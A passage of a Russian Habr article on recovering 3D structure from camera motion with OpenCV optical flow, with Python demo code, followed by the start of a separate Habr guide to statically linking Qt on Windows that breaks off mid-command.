На самом деле, если долго разглядывать ее, становится понятно, что она не совсем точно отображает окружающий мир. Главная проблема, о которую мы немедленно споткнулись — там, например, пересекаются параллельные прямые. Ряд одинаковых (в реальности) фонарных столбов на самом деле изображен так, что каждый следующий столб имеет все меньшие и меньшие размеры. Деревья вокруг дороги, у которых поначалу различимы отдельные ветки и листья, сливаются в однотонный фон, который еще и вдобавок почему-то приобретает отчетливо-фиолетовый оттенок.
Все это — эффекты перспективы, последствия того, что трехмерные объекты снаружи проецируются на двумерную сетчатку внутри глаза. Ничего отдельно магического в этом нет — разве что немного любопытно, почему эти искажения контуров и линий не вызывают у нас никаких проблем при ориентации в пространстве, но вдруг заставляют мозг напрячься при попытке взяться за карандаш.
Еще один замечательный пример — как маленькие дети рисуют небо.
*Небо должно быть наверху — вот она, синяя полоска, пришпиленная к верхнему краю. Середина листа при этом остается белой, заполнена пустотой, в которой плавает солнце.*
И так происходит всегда и везде. Мы знаем, что куб состоит из квадратных граней, но посмотрите на [картинку](http://cdn.shopify.com/s/files/1/0215/2392/products/stainless-cube01_1024x1024.jpg?v=1371476169), и вы не увидите там ни одного прямого угла — более того, эти углы постоянно меняются, стоит сменить угол обзора. Как будто где-то в голове у нас сохранена грубая схема правильного, трехмерного объекта, и именно к ней мы обращаемся в процессе рисования рельс, не сразу успевая сопоставить результат с тем, что видим своими глазами.
На самом деле все еще хуже. Каким образом, например, на самой первой картинке с дорогой мы определяем, какая часть дороги расположена ближе к нам, а какая дальше? По мере удаления предметы становятся меньше, ок — но вы уверены, что кто-то не обманул вас, коварно разместив друг за другом последовательно уменьшающиеся шпалы? Далекие объекты обычно имеют бледно-голубоватый оттенок (эффект, который называется «атмосферная перспектива») — но предмет может быть просто окрашен в такой цвет, и в остальном казаться совершенно нормальным. Мост через железнодорожные пути, который едва видно отсюда, кажется нам находящимся позади, потому что его заслоняют фонари (эффект окклюзии) — но опять-таки, как вы можете быть уверены, что фонари просто не нарисованы на его поверхности? Весь этот набор правил, с помощью которых вы оцениваете трехмерность сцены, во многом зависит от вашего опыта, и возможно, генетического опыта ваших предков, обученных выживать в условиях нашей атмосферы, падающего сверху света и ровной линии горизонта.
Сама по себе, без помощи мощной аналитической программы в вашей голове, наполненной этим визуальным опытом, любая фотография говорит об окружающем мире ужасно мало. Изображения — это скорее такие триггеры, заставляющие вас мысленно представить себе сцену, большая часть знаний о которой уже есть у вас в памяти. Они не содержат реальных предметов — только ограниченные, сплющенные, трагически двумерные представления о них, которые, к тому же, постоянно меняются при движении. В чем-то мы с вами — такие же жители Флатландии, которые могут увидеть мир только с одной стороны и неизбежно искаженным.
**больше перспективы**Вообще мир вокруг прямо-таки полон свидетельств того, как перспектива все искажает. Люди, поддерживающие пизанскую башню, фотографии с солнцем в руках, не говоря уже про классические картины Эшера, или вот совершенно прекрасный пример — [Комната Эймса](http://en.wikipedia.org/wiki/Ames_room). Тут важно понять, что это не какие-то единичные подлянки, специально сделаные для того, чтобы обманывать. Перспектива *всегда* показывает нам неполноценную картинку, просто как правило, мы способны ее «раскодировать». Попробуйте выглянуть в окно и подумать, что то, что вы видите — обман, искажение, безнадежная неполноценность.
2. Images are not real, Neo
===========================
Представьте, что вы — нейронная сеть.
Это не должно быть очень сложно — в конце концов, как-то так оно и есть на самом деле. Вы проводите свободное время за распознаванием лиц на документах в паспортном столе. Вы — очень хорошая нейронная сеть, и работа у вас не слишком сложная, потому что в процессе вы ориентируетесь на паттерн, строго характерный именно для человеческих лиц — взаимное расположение двух глаз, носа и рта. Глаза и носы сами по себе могут различаться, какой-то один из признаков иногда может оказаться на фотографии неразличимым, но вам всегда помогает наличие других. И вдруг вы натыкаетесь вот на такое:
Хм, думаете вы. Вы определенно видите что-то знакомое — по крайней мере, в центре, кажется, есть один глаз. Правда, странной формы — он похож на треугольник, а не на заостренный овал. Второго глаза не видно. Нос, который должен располагаться посередине и между глаз, уехал куда-то совсем в край контура, а рта вы вообще не нашли — опредленно, темный уголок снизу-слева совсем на него не похож. Не лицо — решаете вы, и выбрасываете картинку в мусорное ведро.
Так бы мы думали, если бы наша зрительная система занималась простым сопоставлением паттернов в изображениях. К счастью, думает она как-то по-другому. У нас не вызывает никакого беспокойства отсутствие второго глаза, от этого лицо не становится менее похожим на лицо. Мы мысленно прикидываем, что второй глаз должен находиться по ту сторону, и форма его обусловлена исключительно тем, что голова на фото повернута и смотрит в сторону. Кажется невозможно тривиальным, когда пытаешься это объяснить на словах, но [кое-кто](http://www.touregypt.net/images/touregypt/beauty8.jpg) с вами бы на полном серьезе не согласился.
Самое обидное, что не видно, как можно решить этот вопрос механическим способом. Компьютерное зрение сталкивалось с соответствующими проблемами очень давно, с момента своего появления, и периодически находило эффективные частные решения — так, мы можем опознать сдвинутый в сторону предмет, последовательно передвигая свой проверочный паттерн по всему изображению (чем успешно пользуются сверточные сети), можем справляться с отмасштабированными или повернутыми картинками с помощью признаков SIFT, SURF и ORB, но эффекты перспективы и поворот предмета в пространстве сцены — похоже, вещи качественно другого уровня. Здесь нам нужно знать, как предмет выглядит *со всех сторон*, получить его истинную трехмерную форму, иначе нам не с чем работать. Поэтому чтобы *распознавать* картинки, не нужно распознавать *картинки*. Они лживы, обманчивы и заведомо неполноценны. Они — не наши друзья.
3. Наконец, к практике (на самом деле нет)
==========================================
Итак, важный вопрос — как бы нам получать трехмерную модель всего, что мы видим? Еще более важный вопрос — как при этом обойтись без необходимости покупать лазерный пространственный сканер (сначала я написал «чертовски дорогой лазерный сканер», а потом наткнулся на [этот пост](http://habrahabr.ru/post/247423/))? Даже не столько по той причине, что нам жалко, а потому, что животные в процессе эволюции зрительной системы явно каким-то образом обошлись без него, одними только глазами, и было бы любопытно выяснить, как они так.
Где-то в этом месте часть аудитории обычно встает и выходит из зала, ругаясь на топтание по матчасти — все знают, что для восприятия глубины и пространства мы пользуемся бинокулярным зрением, у нас для этого два специальных глаза! Если вы тоже так думаете, у меня для вас небольшой сюрприз — это неправда. Доказательство прекрасно в своей простоте — достаточно закрыть один глаз и пройтись по комнате, чтобы убедиться, что мир внезапно не утратил глубины и не стал походить на плоский аналог анимационного мультфильма. Еще один способ — вернуться и снова посмотреть на фотографию с железной дорогой, где замечательно видно глубину даже при том, что она расположена на полностью плоской поверхности монитора.
**Вообще с двумя глазами все не так просто**Для *некоторых* действий они, похоже, и правда приносят пользу с точки зрения оценки пространственного положения. Возьмите два карандаша, закройте один глаз и попытайтесь сдвигать эти карандаши так, чтобы они соприкоснулись кончиками грифелей где-то вблизи вашего лица. Скорее всего, грифели разойдутся, причем ощутимо (если у вас получилось легко, поднесите их еще ближе к лицу), при этом со вторым открытым глазом такого не происходит. Пример взят из книги Марка Чангизи «Революция в зрении» — там есть целая глава о стереопсисе и бинокулярном зрении с любопытной теорией о том, что два смотрящих вперед глаза нужны нам для того, чтобы видеть сквозь мелкие помехи вроде свисающих листьев. Кстати, забавный факт — на первом месте в списке преимуществ бинокулярного зрения в Википедии стоит «It gives a creature a spare eye in case one is damaged».
Итак, бинокулярное зрение нам не подходит — и вместе с ним мы отвергаем стереокамеры, дальномеры и Kinect. Какой бы ни была способость нашей зрительной системы воссоздавать трехмерные образы увиденного, она явно не требует наличия двух глаз. Что остается в итоге?
Я ни в коем случае не готов дать точный ответ применительно к биологическом зрению, но пожалуй, для случая абстрактного робота с камерой вместо глаза остался один многообещающий способ. И этот способ — движение.
Вернемся к теме поездов, только на этот раз выглянем из окна:
То, что мы при этом видим, называется «параллакс движения», и вкратце он заключается в том, что когда мы двигаемся вбок, близкие предметы смещаются в поле зрения сильнее, чем далекие. Для движения вперед/назад и поворотов тоже можно сформулировать соответствующие правила, но давайте их пока проигнорируем. Итак, мы собираемся двигаться, оценивать смещения предметов в кадре и на основании этого определять их расстояние от наблюдателя — техника, которая официально называется «structure-from-motion». Давайте попробуем.
4. Наконец, к практике
======================
Прежде всего — а не сделали ли все, случайно, до нас? Страница «Structure from motion» в Википедии предлагает аж тринадцать инструментов (и это только опенсорсных) для воссоздания 3D-моделей из видео или набора фотографий, большинство из них пользуются подходом под названием bundle adjustment, а самым удобным мне показался [Bundler](http://www.cs.cornell.edu/~snavely/bundler/) (и демо-результаты у него крутые). К сожалению, тут возникает проблема, с которой мы еще столкнемся — Bundler для корректной работы хочет знать от нас модель камеры и ее внутренние параметры (в крайнем случае, если модель неизвестна, он требует указать фокусное расстояние).
Если для вашей задачи это не проблема — можете смело бросать чтение, потому что это самый простой и одновременно эффективный метод (а знаете, кстати, что примерно таким способом делались модели в игре [«Исчезнование Итана Картера»](http://www.theastronauts.com/2014/03/visual-revolution-vanishing-ethan-carter/)?). Для меня, увы, необходимость быть привязанным к модели камеры — это условие, которого очень хотелось бы избежать. Во-первых, потому что у нас под боком полный ютуб визуального видео-опыта, которым хотелось бы в будущем пользоваться в качестве выборки. Во-вторых (и это, может быть, даже важнее), потому что наш с вами человеческий мозг, похоже, если и знает в цифрах внутренние параметры камеры наших глаз, то прекрасно умеет приспосабливаться к любым оптическим искажениями. Взгляд через объектив широкофокусной камеры, фишай, просмотр кино и ношение окулусрифта совершенно не разрушает ваших зрительных способностей. Значит, наверное, возможен и какой-то другой путь.
Итак, мы печально закрыли страницу ~~с Итаном Картером~~ википедии и опускаемся на уровень ниже — в OpenCV, где нам предлагают следующее:
1. Взять два кадра, снятые с откалиброванной камеры.
2. Вместе с параметрами калибровки (матрицей камеры) положить их оба в функцию [stereoRectify](http://docs.opencv.org/modules/calib3d/doc/camera_calibration_and_3d_reconstruction.html#void%20stereoRectify%28InputArray%20cameraMatrix1,%20InputArray%20distCoeffs1,%20InputArray%20cameraMatrix2,%20InputArray%20distCoeffs2,%20Size%20imageSize,%20InputArray%20R,%20InputArray%20T,%20OutputArray%20R1,%20OutputArray%20R2,%20OutputArray%20P1,%20OutputArray%20P2,%20OutputArray%20Q,%20int%20flags,%20double%20alpha,%20Size%20newImageSize,%20Rect*%20validPixROI1,%20Rect*%20validPixROI2%29), которая выпрямит (ректифицирует) эти два кадра — это преобразование, которое искажает изображение так, чтобы точка и ее смещение оказывались на одной горизонтальной прямой.
3. Эти ректифицированые кадры мы кладем в функцию [stereoBM](http://docs.opencv.org/trunk/doc/py_tutorials/py_calib3d/py_depthmap/py_depthmap.html) и получаем карту смещений (disparity map) — такую картинку в оттенках серого, где чем пиксель ярче, тем большее смещение он выражает (по ссылке есть пример).
4. Полученную карту смещений кладем в функцию с говорящим названием [reprojectImageTo3D](http://docs.opencv.org/modules/calib3d/doc/camera_calibration_and_3d_reconstruction.html#void%20reprojectImageTo3D%28InputArray%20disparity,%20OutputArray%20_3dImage,%20InputArray%20Q,%20bool%20handleMissingValues,%20int%20ddepth%29) (понадобится еще и матрица Q, которую в числе прочих мы получим на шаге 2). Получаем наш трехмерный результат.
Черт, похоже, мы наступаем на те же грабли — уже в пункте 1 от нас требуют откалиброванную камеру (правда, OpenCV милостиво дает возможность сделать это самому). Но погодите, здесь есть план Б. В документации прячется функция с подозрительным названием [stereoRectifyUncalibrated](http://docs.opencv.org/modules/calib3d/doc/camera_calibration_and_3d_reconstruction.html#stereorectifyuncalibrated)…
План Б:
1. Нам нужно оценить примерную часть смещений самим — хотя бы для ограниченного набора точек. StereoBM здесь не подойдет, поэтому нам нужен какой-то другой способ. Логичным вариантом будет использовать feature matching — найти какие-то особые точки в обоих кадрах и выбрать сопоставления. Про то, как это делается, можно почитать [здесь](http://docs.opencv.org/trunk/doc/py_tutorials/py_feature2d/py_matcher/py_matcher.html).
2. Когда у нас есть два набора соответствующих друг другу точек, мы можем закинуть их в [findFundamentalMat](http://docs.opencv.org/modules/calib3d/doc/camera_calibration_and_3d_reconstruction.html#Mat%20findFundamentalMat%28InputArray%20points1,%20InputArray%20points2,%20int%20method,%20double%20param1,%20double%20param2,%20OutputArray%20mask%29), чтобы получить фундаментальную матрицу, которая понадобится нам для stereoRectifyUncalibrated.
3. Запускаем stereoRectifyUncalibrated, получаем две матрицы для ректификации обоих кадров.
4. И… а дальше непонятно. Выпрямленные кадры у нас есть, но нет матрицы Q, которая была нужна для завершающего шага. Погуглив, я наткнулся примерно на такой же [недоумения пост](http://stackoverflow.com/questions/9026567/3d-reconstruction-from-2-images-without-info-about-the-camera), и понял, что либо я что-то упустил в теории, либо в OpenCV этот момент не продумали.
OpenCV: мы — 2:0.
### 4.1 Меняем план
Но погодите. Возможно, мы с самого начала пошли не совсем правильным путем. В предыдущих попытках мы, по сути, пытались определить *реальное* положение трехмерных точек — отсюда необходимость знать параметры камеры, матрицы, ректифицировать кадры и так далее. По сути, это обычная триангуляция: на первой камере я вижу эту точку здесь, а на второй здесь — тогда нарисуем два луча, проходящих через центры камер, и их пересечение покажет, как далеко точка от нас находится.
Это все прекрасно, но вообще говоря, нам не нужно. Реальные размеры предметов интересовали бы нас, если бы наша модель использовалась потом для промышленных целей, в каких-нибудь 3d-принтерах. Но мы собираемся (эта цель слегка уже расплылась, правда) запихивать полученные данные в нейросети и им подобные классификаторы. Для этого нам достаточно знать только *относительные* размеры предметов. Они, как мы все еще помним, обратно пропорциональны смещениям параллакса — чем дальше от нас предмет, тем меньше смещается при нашем движении. Нельзя ли как-то найти эти смещения *еще* проще, просто каким-то образом сопоставив обе картинки?
Само собой, можно. Привет, [оптический поток](http://docs.opencv.org/trunk/doc/py_tutorials/py_video/py_lucas_kanade/py_lucas_kanade.html).
Это замечательный алгоритм, который делает ровно то, что нам нужно. Кладем в него картинку и набор точек. Потом кладем вторую картинку. Получаем на выходе для заданных точек их новое положение на второй картинке (приблизительное, само собой). Никаких калибровок и вообще никаких упоминаний о камере — оптический поток, несмотря на название, можно рассчитывать на базе чего угодно. Хотя обычно он все-таки используется для слежения за объектами, обнаружения столкновений и даже [дополненной реальности](http://www.youtube.com/watch?v=s4pICjMTKMs).
Для наших целей мы (пока) хотим воспользоваться «плотным» потоком Гуннара Фарнебака, потому что он умеет рассчитывать поток не для каих-то отдельных точек, а для всей картинки сразу. Метод доступен с помощью calcOpticalFlowFarneback, и первые же результаты начинают очень-очень радовать — смотрите, насколько оно выглядит круче, чем предыдущий результат stereoRectifyUncalibrated + stereoBM.
*Большое спасибо замечательной игре Portal 2 за возможность строить собственные комнаты и играть в кубики. I'm doin' Science!*
**Код для для этой маленькой демонстрации**
```
# encoding: utf-8
import cv2
import numpy as np
from matplotlib import pyplot as plt
img1 = cv2.imread('0.jpg', 0)
img2 = cv2.imread('1.jpg', 0)
def stereo_depth_map(img1, img2):
# 1: feature matching
orb = cv2.ORB()
kp1, des1 = orb.detectAndCompute(img1, None)
kp2, des2 = orb.detectAndCompute(img2, None)
bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)
matches = bf.match(des1, des2)
matches = sorted(matches, key=lambda x: x.distance)
src_points = np.vstack([np.array(kp1[m.queryIdx].pt) for m in matches])
dst_points = np.vstack([np.array(kp2[m.trainIdx].pt) for m in matches])
# 2: findFundamentalMat
F, mask = cv2.findFundamentalMat(src_points, dst_points)
# 3: stereoRectifyUncalibrated
_, H1, H2 = cv2.stereoRectifyUncalibrated(src_points.reshape(src_points.shape[
0], 1, 2), dst_points.reshape(dst_points.shape[0], 1, 2), F, img1.shape)
rect1 = cv2.warpPerspective(img1, H1, (852, 480))
rect2 = cv2.warpPerspective(img2, H2, (852, 480))
# 3.5: stereoBM
stereo = cv2.StereoBM(cv2.STEREO_BM_BASIC_PRESET, ndisparities=16, SADWindowSize=15)
return stereo.compute(rect1, rect2)
def optical_flow_depth_map(img1, img2):
flow = cv2.calcOpticalFlowFarneback(img1, img2, 0.5, 3, 20, 10, 5, 1.2, 0)
mag, ang = cv2.cartToPolar(flow[..., 0], flow[..., 1])
return mag
def plot(title, img, i):
plt.subplot(2, 2, i)
plt.title(title)
plt.imshow(img, 'gray')
plt.gca().get_xaxis().set_visible(False)
plt.gca().get_yaxis().set_visible(False)
plot(u'Первый кадр', img1, 1)
plot(u'Второй кадр (шаг вправо)', img2, 2)
plot(u'stereoRectifyUncalibrated', stereo_depth_map(img1, img2), 3)
plot(u'Первый кадр', optical_flow_depth_map(img1, img2), 4)
plt.show()
```
Итак, отлично. Смещения у нас есть, и на вид неплохие. Как теперь нам получить из них координаты трехмерных точек?
### 4.2 Часть, в которой мы получаем координаты трехмерных точек
Эта картинка уже мелькала на одной из ссылок выше.
Расстояние до объекта здесь рассчитывается методом школьной геометрии (подобные треугольники), и выглядит так: . А координаты, соответственно, вот так: . Здесь **w** и **h** — ширина и высота картинки, они нам известны, **f** — фокусное расстояние камеры (расстояние от центра камеры до поверхности ее экрана), и **B** — камеры же шаг. Кстати, обратите внимание, что мы тут слегка нарушаем общепринятые названия осей, когда Z направлена вверх — у нас Z смотрит «вглубь» экрана, а X и Y — соответственно, направлены по ширине и высоте картинки.
Ну, насчет **f** все просто — мы уже оговаривали, что реальные параметры камеры нас не интересуют, лишь бы пропорции всех предметов изменялись по одному закону. Если подставить Z в формулу для X выше, то можно увидеть, что X от фокусного расстояния вообще не зависит (f сокращается), поэтому разные его значения буду менять только глубину — «вытягивать» или «сплющивать» нашу сцену. Визуально — не очень приятно, но опять же, для алгоритма классификации — совершенно все равно. Так что зададим фокусное расстояние интеллектуальным образом — просто придумаем. Я, правда, оставляю за собой право слегка изменить мнение дальше по тексту.
Насчет **B** чуть посложнее — если у нас нет встроенного шагомера, мы не знаем, на какую дистанцию переместилась камера в реальном мире. Так что давайте пока немного считерим и решим, что движение камеры происходит примерно плавно, кадров у нас много (пара десятков на секунду), и расстояние между двумя соседними примерно одинаковое, т.е. . И опять же, дальше мы слегка уточним эту ситуацию, но пока пусть будет так.
**Настало время написать немного кода**
```
import cv2
import numpy as np
f = 300 # раз мы занимаемся визуализацией, фокус я все-таки подобрал так, чтобы сцена выглядела условно реальной
B = 1
w = 852
h = 480
img1 = cv2.imread('0.jpg', 0)
img2 = cv2.imread('1.jpg', 0)
flow = cv2.calcOpticalFlowFarneback(img1, img2, 0.5, 3, 20, 10, 5, 1.2, 0)
mag, ang = cv2.cartToPolar(flow[..., 0], flow[..., 1])
edges = cv2.Canny(img1, 100, 200)
result = []
for y in xrange(img1.shape[0]):
for x in xrange(img1.shape[1]):
if edges[y, x] == 0:
continue
delta = mag[y, x]
if delta == 0:
continue
Z = (B * f) / delta
X = (Z * (x - w / 2.)) / f
Y = (Z * (y - h / 2.)) / f
point = np.array([X, Y, Z])
result.append(point)
result = np.vstack(result)
def dump2ply(points):
# сохраняем в формат .ply, чтобы потом открыть Блендером
with open('points.ply', 'w') as f:
f.write('ply\n')
f.write('format ascii 1.0\n')
f.write('element vertex {}\n'.format(len(points)))
f.write('property float x\n')
f.write('property float y\n')
f.write('property float z\n')
f.write('end_header\n')
for point in points:
f.write('{:.2f} {:.2f} {:.2f}\n'.format(point[0], point[2], point[1]))
dump2ply(result)
```
Вот так выглядит результат. Надеюсь, эта гифка успела загрузиться, пока вы дочитали до этого места.
*Для наглядности я взял не все точки подряд, а только границы, выделенные Canny-детектором*
С первого взгляда (во всяком случае, мне) все показалось отличным — даже углы между гранями кубиков образовали симпатичные девяносто градусов. С предметами на заднем плане получилось похуже (обратите внимание, как исказились контуры стен и двери), но хэй, наверное, это просто небольшой шум, его можно будет вылечить использованием б*о*льшего количества кадров или чем-нибудь еще.
Из всех возможных поспешных выводов, которые можно было здесь сделать, этот оказался дальше всех от истины.
5. Часть, в которой ничего не получается
========================================
В общем, основная проблема оказалась в том, что какая-то часть точек довольно сильно искажалась. И — тревожный знак, где уже пора было заподозрить неладное — искажалась не случайным образом, а примерно в одних и тех же местах, так что исправить проблему путем последовательного наложения новых точек (из других кадров) не получалось.
**Выглядело это примерно так:**
*Лестница сминается, местами превращаясь в аморфный кусок непонятно-чего.*
Я очень долго пытался это починить, и за это время перепробовал следующее:
— [сглаживать](http://opencv-python-tutroals.readthedocs.org/en/latest/py_tutorials/py_imgproc/py_filtering/py_filtering.html) каринку с оптическим потоком: размытие по Гауссу, медианный фильтр и модный билатеральный фильтр, который оставляет четкими края. Бесполезно: предметы наоборот, еще сильнее расплывались.
— пытался находить на картинке прямые линии с помощью Hough transform и переносить их в неизменном прямом состоянии. Частично работало, но только на границах — поверхности по-прежнему оставались такими же искаженными; плюс никуда не получалось деть мысль в духе «а что если прямых линий на картинке вообще нет».
— я даже попытался сделать свою собственную версию оптического потока, пользуясь OpenCVшным templateMatching. Работало примерно так: для любой точки строим вокруг нее небольшой (примерно 10x10) квадрат, и начинаем двигать его вокруг и искать максимальное совпадение (если известно направление движения, то «вокруг» можно ограничить). Получилось местами неплохо (хотя работало оно явно медленнее оригинальной версии):
*Слева уже знакомый поток Фарнебака, справа вышеописаный велосипед*
С точки зрения шума, увы, оказалось ничуть не лучше.
В общем, все было плохо, но очень логично. Потому что так оно и должно было быть.
*Иллюстрация к проблеме. Движение здесь — по-прежнему шаг вправо*
Давайте выберем какую-нибудь зеленую точку из картинки выше. Предположим, мы знаем направление движения, и собираемся искать «смещенного близнеца» нашей зеленой точки, двигаясь в заданном направлении. Когда мы решаем, что нашли искомого близнеца? Когда наткнемся на какой-нибудь «ориентир», характерный участок, который похож на окружение нашей начальной точки. Например, на угол. Углы в этом отношении легко отслеживать, потому что они сами по себе встречаются довольно редко. Поэтому если наша зеленая точка представляет собой угол, и мы находим похожий угол в заданной окрестности, то задача решена.
Чуть сложнее, но все еще легко обстоит ситуация с вертикальной линией (вторая левая зеленая точка). Учитывая, что мы двигаемся вправо, вертикальная линия встретится нам только один раз за весь период поиска. Представьте, что мы ползем своим поисковым окном по картинке и видим однотонный фон, фон, снова фон, вертикальный отрезок, опять фон, фон, и снова фон. Тоже несложно.
Проблема появляется, когда мы пытаемся отслеживать кусок линии, расположенной *параллельно движению*. У красной точки нет одного четко выраженного кандидата на роль смещенного близнеца. Их много, все они находятся рядом, и выбрать какого-то одного тем методом, что мы пользуемся, просто невозможно. Это функциональное ограничение оптического потока. Как нас любезно предупреждает википедия в соответствующей статье, «We cannot solve this one equation with two unknown variables», и тут уже ничего не сделаешь.
**Совсем-совсем ничего?**Вообще, если честно, то это, наверное, не совсем правда. Вы ведь можете найти на правой картинке соответствие красной точке? Это тоже не очень сложно, но для этого мы мысленно пользуемся каким-то другим методом — находим рядом ближайшую «зеленую точку» (нижний угол), оцениваем расстояние до нее и откладываем соответствующее расстояние на второй грани куба. Алгоритмам оптического потока есть куда расти — этот способ можно было бы и взять на вооружение (если этого еще не успели сделать).
6. Зеленые точки FTW
====================
На самом деле, как подсказывает к этому моменту запоздавший здравый смысл, мы все еще пытаемся сделать лишнюю работу, которая не важна для нашей конечной цели — распознавания, классификации и прочего интеллекта. Зачем мы пытаемся запихать в трехмерный мир *все* точки картинки? Даже когда мы работаем с двумерными изображениями, мы обычно не пытаемся использовать для классификации каждый пиксель — большая их часть не несет никакой полезной информации. Почему бы не делать то же самое и здесь?
Собственно, все оказалось вот так просто. Мы будем рассчитывать тот же самый оптический поток, но только для «зеленых», устойчивых точек. И кстати, в OpenCV о нас уже позаботились. Нужная нам штука называется поток Лукаса-Канаде.
Приводить код и примеры для тех же самых случаев будет слегка скучно, потому что получится то же самое, но с гораздо меньшим числом точек. Давайте по дороге сделаем еще чего-нибудь: например, добавим нашему алгоритму возможность обрабатывать повороты камеры. До этого мы двигались исключительно вбок, что в реальном мире за пределами окон поездов встречается довольно редко.
С появлением поворотов координаты X и Z у нас смешиваются. Оставим старые формулы для расчета координат относительно камеры, и будем переводить их в абсолютные координаты следующим образом (здесь  — координаты положения камеры, альфа — угол поворота):
(игрек — читер; это потому, что мы считаем, что камера не двигается вверх-вниз)
Где-то здесь же у нас появляются проблемы с фокусным расстоянием — помните, мы решили задать его произвольным? Так вот, теперь, когда у нас появилась возможность оценивать одну и ту же точку с разных углов, он начал иметь значение — именно за счет того, что координаты X и Z начали мешаться друг с другом. На самом деле, если мы запустим код, аналогичный предыдущему, с произвольным фокусом, мы увидим примерно вот что:
*Неочевидно, но это попытка устроить обход камеры вокруг обычного кубика. Каждый кадр — оценка видимых точек после очередного поворота камеры. Вид сверху, как на миникарте.*
К счастью, у нас все еще есть оптический поток. При повороте мы можем увидеть, какие точки переходят в какие, и рассчитать для них координаты с двух углов зрения. Отсюда несложно получить фокусное расстояние (просто возьмите две вышеприведенных формулы для разных значений альфа, приравняйте координаты и выразите f). Так гораздо лучше:
*Не то что бы все точки легли идеально одна в другую, но можно хотя бы догадаться о том, что это кубик.*
И, наконец, нам нужно как-то справляться с шумом, благодаря которому наши оценки положения точек не всегда совпадают (видите на гифке сверху аккуратные неровные колечки? вместо каждого из них, в идеале, должна быть одна точка). Тут уже простор для творчества, но наиболее адекватный способ мне показался таким:
— когда у нас есть подряд несколько сдвигов в сторону, объединяем информацию с них вместе — так для одной точки у нас будет сразу несколько оценок глубины;
— когда камера поворачивается, мы пытаемся совместить два набора точек (до поворота и после) и подогнать один к другому. Эта подгонка по-правильному называется [«регистрацией точек»](http://en.wikipedia.org/wiki/Point_set_registration) (о чем вы бы никогда не догадались, услышав термин в отрыве от контекста), и для нее я воспользовался алгоритмом [Iterative closest point](http://en.wikipedia.org/wiki/Iterative_closest_point), нагуглив версию для питона + OpenCV;
— потом точки, которые лежат в пределах порогового радиуса (определяем методом ближайшего соседа), сливаются вместе. Для каждой точки мы еще отслеживаем что-то типа «интенсивности» — счетчик того, как часто она объединялась с другими точками. Чем больше интенсивность — тем больше шанс на то, что это честная и правильная точка.
Результат может и не такой цельный, как в случае с кубиками из Портала, но по крайней мере, точный. Вот пара воссозданных моделей, которые я сначала загрузил в Блендер, покрутил вокруг них камеру и сохранил полученные кадры:
*Голова профессора Доуэля*
*Какая-то рандомная машина*
Бинго! Дальше нужно их все запихать в распознающий алгоритм и посмотреть, что получится. Но это, пожалуй, оставим на следующую серию.
Приложение
==========
Слегка оглянемся назад и вспомним, зачем мы это все делали. Ход рассуждений был такой:
— нам нужно уметь распознавать вещи, изображенные на картинках
— но эти картинки каждый раз, когда мы меняем положение или смотрим на одну и ту же вещь с разных углов, меняются. Иногда до неузнаваемости
— это не баг, а фича: следствие того, что наши ограниченые сенсоры глаз видят только часть предмета, а не весь предмет целиком
— следовательно, нужно как-то объединить эти частичные данные от сенсоров и собрать из них представление о предмете в его полноценной форме.
Вообще говоря, это ведь наверняка проблема *не только* зрения. Это скорее правило, а не исключение — наши сенсоры не всемогущи, они постоянно воспринимают информацию об объекте частями — но любопытно, насколько все подобные случаи можно объединить в какой-то общий фреймворк? Скажем (возвращаясь к зрению), ваши глаза сейчас постоянно совершают мелкие и очень быстрые движения — саккады — перескакивая между предметами в поле зрения (а в промежутках между этими движениями ваше зрение вообще не работает — именно поэтому нельзя увидеть собственные саккады, даже уставившись в зеркало в упор). Мозг постоянно занимается упорной работой по «сшиванию» увиденных кусочков. *Это* — та же самая задача, которую мы только что пытались решить, или все-таки другая? Восприятие речи, когда мы можем соотнести десяток разных вариантов произношения слова с одним его «идеальным» написанием — это тоже похожая задача? А как насчет сведения синонимов к одному «образу» предмета?
Если да — то возможно, проблема несколько больше, чем просто местечковый алгоритм зрительной системы, заменяющий нашим недоэволюционировавшим глазам лазерную указку сканера.
Очевидные соображения говорят, что когда мы пытаемся воссоздать какую-то штуку, увиденную в природе, нет смысла слепо копировать все ее составные части. Чтобы летать по воздуху, не нужны машущие крылья и перья, достаточно жесткого крыла и подъемной силы; чтобы быстро бегать, не нужны механические ноги — колесо справится гораздо лучше. Вместо того, чтобы копировать увиденное, мы хотим найти принцип и повторить его своими силами (может быть, сделав это проще/эффективней). В чем состоит принцип интеллекта, аналог законов аэродинамики для полета, мы пока не знаем. Deep learning и Ян Лекун, пророк его (и вслед за ним много других людей) считают, что нужно смотреть в сторону способности строить «глубокие» иерархии фич из получаемых данных. Может быть, мы сможем добавить к этому еще одно уточнение — способность объединять вместе релевантные куски данных, воспринимая их как части одного объекта и размещая в новом измерении? | https://habr.com/ru/post/249661/ | null | ru | null |
# Qt — статическая линковка библиотеки под Windows
Всем доброго времени суток, решил написать эту статью специально для тех кто хочет или еще захочет чтобы его программка написанная c помощью Qt под Windows работала даже там где о Qt и не слышали, на Хабре есть статья где данная проблема решается сопровождением нашего .exe библиотечками от [skazkin](https://habrahabr.ru/users/skazkin/). Сам очень долго искал решение этого вопроса, но практически везде об этом говорили говорили, но ничего действенного так и не получалось. В итоге собирая и анализируя все что приходило мне из разных источников, я наконец-то сделал это и если кому ещё интересно всех прошу под кат
Немного о себе. Ось моя Windows 7 (хотя был XP все тоже), библиотеки Qt 4.7.4 (если у Вас +- пару версий это нормально), Qtcreator 2.3.1 + компилятор MinGw. Сначала ставил Qt Creator, который с официального сайта можно скачать уже с компилятором MinGW (и не только его, а и все остальное), далее библиотеки.
Приступаем к самому интересному, допустим что всё уже установлено или поставилось:
1. Находим директорию куда мы установили нашу библиотеку, что то вроде *C:\Qt\4.\*.\*\*, а точнее в *C:\Qt\4.\*.\*\mkspecs\win32-g++* (кстати никогда не используйте кириллицу в наименовании пути к любым файлам Qt, просто не делайте это) и находим там config-file *qmake.conf* , открываем блокнотиком и добавляем строку
`QMAKE_LFLAGS += -static`, я её поставил к остальным флажкам.
2. Теперь создаем .bat файл, причем неважно где с примерно следующим содержанием. Где первые две строки будут:
`SET QTDIR=C:\Qt\4.7.4
SET PATH=C:\Qt\qtcreator-2.3.1\mingw\bin; C:\Qt\4.7.4\bin;%PATH%`
Важно как понимаете изменить директории под Ваши собственные, если конечно они не совпадают. Далее:
`configure -opensource -release ^
-nomake examples -nomake demos -nomake tools ^
-nomake translations -nomake docs ^
-no-exceptions -no-stl -no-rtti ^
-no-qt3support -no-scripttools -no-openssl -no-opengl ^
-no-dsp -no-webkit -no-phonon ^
-no-style-motif -no-style-cde -no-style-cleanlooks ^
